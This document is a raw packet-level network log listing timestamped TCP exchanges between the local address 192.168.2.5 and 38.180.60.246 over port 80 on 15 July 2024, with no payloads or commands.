Jul 15, 2024 00:48:25.506891012 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.513674021 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.513686895 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.513699055 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.513753891 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.513777018 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.513781071 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.513792992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.513803959 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.513817072 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.513820887 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.513839006 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.513869047 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.513890982 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.513902903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.513914108 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.513925076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.513931036 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.513936043 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.513947964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.513957024 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.513959885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.513977051 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.514003038 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.514003992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.514015913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.514027119 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.514043093 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.514059067 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.514110088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.514121056 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.514131069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.514143944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.514152050 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.514156103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.514179945 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.514197111 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.514348030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.514358997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.514372110 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.514384031 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.514384031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.514398098 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.514401913 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.514410973 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.514422894 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.514432907 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.514436007 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.514447927 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.514450073 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.514461040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.514477968 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.514504910 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.514909029 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.514921904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.514934063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.514951944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.514959097 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.514964104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.514975071 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.514986992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.514995098 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.515001059 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.515017986 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.515022993 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.515029907 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.515042067 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.515042067 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.515053034 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.515064001 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.515075922 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.515075922 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.515089035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.515100002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.515106916 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.515115023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.515125036 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.515126944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.515137911 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.515142918 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.515150070 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.515161991 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.515173912 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.515202999 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.515724897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.515736103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.515779972 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.515799999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.515810013 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.515820980 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.515832901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.515840054 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.515845060 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.515856981 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.515858889 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.515870094 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.515882969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.515892029 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.515921116 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.516024113 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.516035080 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.516048908 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.516062021 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.516062975 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.516074896 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.516086102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.516091108 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.516098976 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.516119957 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.516135931 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.516611099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.516622066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.516632080 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.516644955 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.516655922 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.516669035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.516669989 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.516680956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.516696930 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.516720057 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.517088890 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.517101049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.517113924 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.517137051 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.517153025 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.517244101 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.517255068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.517266035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.517280102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.517283916 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.517324924 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.518045902 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.518058062 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.518069983 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.518096924 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.518125057 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.518130064 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.518141985 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.518153906 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.518166065 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.518168926 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.518189907 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.518218994 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.596458912 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.596473932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.596492052 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.596539974 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.596580982 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.596703053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.596714020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.596725941 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.596736908 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.596740961 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.596751928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.596760988 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.596767902 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.596780062 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.596795082 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.596800089 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.596808910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.596821070 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.596822977 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.596833944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.596846104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.596857071 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.596887112 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.597593069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.597604990 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.597623110 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.597651958 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.597666025 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.597667933 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.597678900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.597692013 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.597702980 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.597721100 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.597738028 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.600090027 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.600167990 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.606189966 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.606203079 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.606215000 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.606255054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.606265068 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.606268883 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.606296062 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.606314898 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.606389999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.606401920 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.606415033 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.606426954 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.606451988 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.606511116 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.606520891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.606533051 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.606545925 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.606553078 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.606559038 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.606569052 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.606575012 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.606589079 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.606599092 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.606626987 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.606781960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.606801033 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.606816053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.606827974 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.606828928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.606851101 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.606854916 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.606867075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.606882095 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.606884956 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.606900930 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.606904984 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.606914043 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.606925964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.606935978 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.606939077 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.606954098 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.606965065 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.606966019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607004881 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.607027054 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.607050896 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607062101 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607075930 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607090950 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.607096910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607108116 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607115030 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.607120037 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607131004 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607141972 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607144117 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.607153893 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607165098 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607170105 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.607177019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607187033 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.607189894 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607203960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607206106 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.607217073 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607224941 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.607232094 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607254028 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.607280016 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.607443094 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607461929 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607474089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607481003 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.607490063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607498884 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.607501984 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607515097 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607517958 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.607527971 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607542992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607547998 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.607566118 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.607594013 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.607594967 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607606888 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607616901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607628107 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607628107 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.607649088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607650042 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.607661963 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607676029 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607682943 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.607691050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607702017 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.607706070 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607717991 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607731104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607731104 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.607744932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607762098 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.607780933 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.607856035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607867002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607877970 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607889891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607894897 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.607903004 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607916117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607927084 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.607928991 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.607947111 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.607964993 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.608824968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.608838081 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.608849049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.608860016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.608874083 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.608880997 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.608887911 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.608912945 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.608931065 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.609688044 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.609700918 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.609713078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.609728098 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.609745979 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.609761953 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.609774113 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.609786034 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.609786987 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.609798908 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.609807968 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.609810114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.609826088 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.609855890 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.611849070 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.611861944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.611872911 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.611908913 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.611932993 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.611975908 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.611993074 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.612006903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.612011909 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.612020016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.612030029 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.612031937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.612051010 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.612076998 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.687565088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.687581062 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.687592983 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.687604904 CEST	80	49704	38.180.60.246	192.168.2.5
